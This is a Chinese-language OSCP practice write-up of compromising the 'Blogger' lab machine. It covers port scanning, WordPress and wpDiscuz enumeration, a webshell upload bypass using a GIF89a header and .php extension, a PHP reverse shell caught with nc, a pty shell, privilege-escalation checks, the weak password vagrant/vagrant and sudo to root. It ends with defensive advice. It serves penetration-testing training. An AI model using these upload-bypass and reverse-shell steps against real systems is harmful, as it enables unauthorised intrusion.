OSCP靶机渗透实战:Blogger靶机攻防全记录
靶机概述
本次渗透测试的目标是OSCP认证考试中的Blogger靶机,难度中等偏高。靶机包含以下技术要点:
- 端口与服务探测
- SSH弱口令测试
- CMS识别与漏洞利用
- 文件上传绕过技术
- NC反弹Shell
- 内网弱口令利用
- Sudo提权技术
目标需要获取两个flag:一个通过低权限shell获取,另一个需要提权后获取。
环境配置
攻击机IP:192.168.45.181
靶机IP:192.168.187.217
信息收集阶段
1. 端口扫描
使用Nmap进行全端口扫描:
nmap --min-rate 10000 -p- 192.168.187.217
扫描结果:
- 22端口:SSH服务
- 80端口:HTTP服务
2. 端口测试
2.1 SSH服务测试
尝试SSH弱口令登录:
ssh root@192.168.187.217 -p 22
发现SSH公钥存在问题,无法继续测试,Hydra爆破也无法进行。
2.2 HTTP服务测试
访问80端口:
http://192.168.187.217:80
使用WhatWeb识别CMS:
whatweb http://192.168.187.217:80
初步识别为Blogger,但MSF搜索无相关漏洞。
查看网页源码:
curl http://192.168.187.217:80
使用Dirsearch进行目录扫描:
dirsearch -u http://192.168.187.217
发现/assets目录存在目录遍历,其中/fonts目录下有一个blog文件,访问后会跳转到blogger.thm域名。
域名绑定与进一步探测
修改/etc/hosts文件:
vim /etc/hosts
添加:
192.168.187.217 blogger.thm
重新访问blog站点,使用WhatWeb识别:
whatweb http://blogger.thm/assets/fonts/blog/
确认CMS为WordPress 4.9.8。
WordPress漏洞利用
1. 搜索WordPress漏洞
使用MSF和SearchSploit:
msfconsole
searchsploit WordPress 4.9.8
发现主要是插件漏洞,无直接RCE漏洞。
2. 使用WPScan扫描
wpscan --url http://blogger.thm/assets/fonts/blog/
发现存在文件上传漏洞路径:
http://blogger.thm/assets/fonts/blog/wp-content/uploads/
3. 文件上传漏洞利用
在WordPress页面中发现图片上传功能,通过源代码分析发现使用的是wpDiscuz组件,版本为7.0.4。
尝试使用MSF的wpDiscuz漏洞利用模块失败后,转向手工文件上传绕过。
文件上传绕过技术
1. 制作图片木马
copy 1.jpg/a +shell.php/b shell.jpg
其中:
- 1.jpg为正常图片文件
- shell.php为PHP一句话木马
2. BurpSuite拦截修改
使用BurpSuite拦截上传请求:
- 修改文件头为GIF89a
- 修改文件后缀为.php
- 成功上传后使用蚁剑连接
获取初始Shell
获取交互式Shell:
python -c "import pty;pty.spawn('/bin/bash')";
查找第一个flag:
find / -name local.txt 2>/dev/null
cat /home/james/local.txt
提权尝试
1. Sudo提权检查
sudo -l
2. SUID提权检查
find / -perm -u=s -type f 2>/dev/null
3. Capabilities提权检查
/usr/sbin/getcap -r / 2>/dev/null
4. 定时任务检查
cat /etc/crontab
5. 内核漏洞提权检查
lsb_release -a
uname -a
发现Ubuntu 16.04.7 LTS,内核版本4.4.0-206,不符合已知漏洞条件
内网信息收集
1. 用户目录检查
ls -al /home
ls -al /home/james
2. 内网弱口令爆破
发现vagrant/vagrant弱口令组合可用
获取稳定Shell
由于蚁剑的Shell不稳定,使用Kali自带的PHP反向Shell:
cp /usr/share/webshells/php/php-reverse-shell.php ./exp
修改文件后缀:
cp php-reverse-shell.php ./shell.jpg
编辑文件设置监听IP和端口:
vim php-reverse-shell.php
启动NC监听:
nc -lvvp 1234
上传修改后的文件,使用BurpSuite拦截修改GIF89a头,成功获取稳定Shell。
最终提权
使用发现的弱口令登录:
su vagrant
密码:vagrant
检查sudo权限:
sudo -l
发现存在(ALL) NOPASSWD: ALL,直接提权:
sudo su
获取root flag:
cat /root/proof.txt
关键知识点总结
- 信息收集:Nmap扫描、WhatWeb识别、目录爆破是渗透测试的基础
- CMS识别:准确识别CMS及其版本是漏洞利用的前提
- 文件上传绕过:通过修改文件头和扩展名绕过限制是常见技术
- Shell稳定性:Python伪终端和NC反向Shell可提高交互体验
- 提权路径:系统检查顺序应为sudo→suid→capabilities→cron→内核漏洞
- 弱口令利用:内网系统常见默认或弱密码是重要突破口
防御建议
- 禁用不必要的服务和端口
- 使用强密码策略,避免默认凭证
- 及时更新CMS和插件版本
- 实施严格的文件上传验证机制
- 限制sudo权限,避免NOPASSWD设置
- 定期进行安全审计和渗透测试